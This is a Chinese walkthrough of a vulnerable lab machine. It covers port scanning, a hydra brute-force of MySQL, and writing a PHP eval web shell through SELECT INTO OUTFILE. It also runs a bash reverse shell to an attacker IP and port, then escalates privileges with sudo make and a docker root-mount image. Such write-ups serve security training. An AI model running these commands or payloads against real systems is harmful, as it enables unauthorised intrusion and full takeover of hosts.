一、信息搜集
打开靶机后还是先确定靶机IP:
arp-scan 192.168.34.0/24
我的靶机IP为:192.168.34.170,然后扫描一下它的端口开放情况:
nmap 192.168.34.170
发现它开放的端口还是挺多的,先看一下80端口:
没什么用,再访问一下8080端口看看:
从这个页面的得到的有用信息就一个:Local working directory:/var/tmp,知道了它的工作目录是:/var/tmp,然后扫描一下目录看看:
dirb http://192.168.34.170
并没有什么有用的信息。既然3306端口开着,那就先爆破一下看看:
hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.34.170 mysql
爆破出来数据库的密码后进行远程登陆:
mysql -h 192.168.34.170 -u root -p
进去以后查看数据库后也没有发现什么有用的信息,然后试着给网站的工作目录写一个一句话木马:
select "<?php eval($_GET['cmd']);?>" into outfile "/var/tmp/3.php";
写入成功后就准备使用bp抓包,然后反弹shell。反弹shell之前必须得先写一个bash反弹shell。
echo "bash -i >& /dev/tcp/192.168.34.107/8888 0>&1" | bash
然后改成url编码形式的:
先访问一句话里的那个路径,会发现是个空白页面:
然后使用bp抓包,把那个bash添加进去:
(这里注意括号里面还有个单引号,使用单引号引起来的)
在这时要先用自己的攻击机监听你所设定的端口:
然后运行刚刚修改过的包,shell就会反弹过来:
二、提权
接下来就是要进行提权了,用sudo -l 可查看出当前用户就只能执行3个命令:ping,make,sl,这里我们要用到的是make命令,详情请参考 make makefile 大哥的博客
这里我就直接进行提权了:
sudo -u dusk make --eval=$'x:\n\t'/bin/sh
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease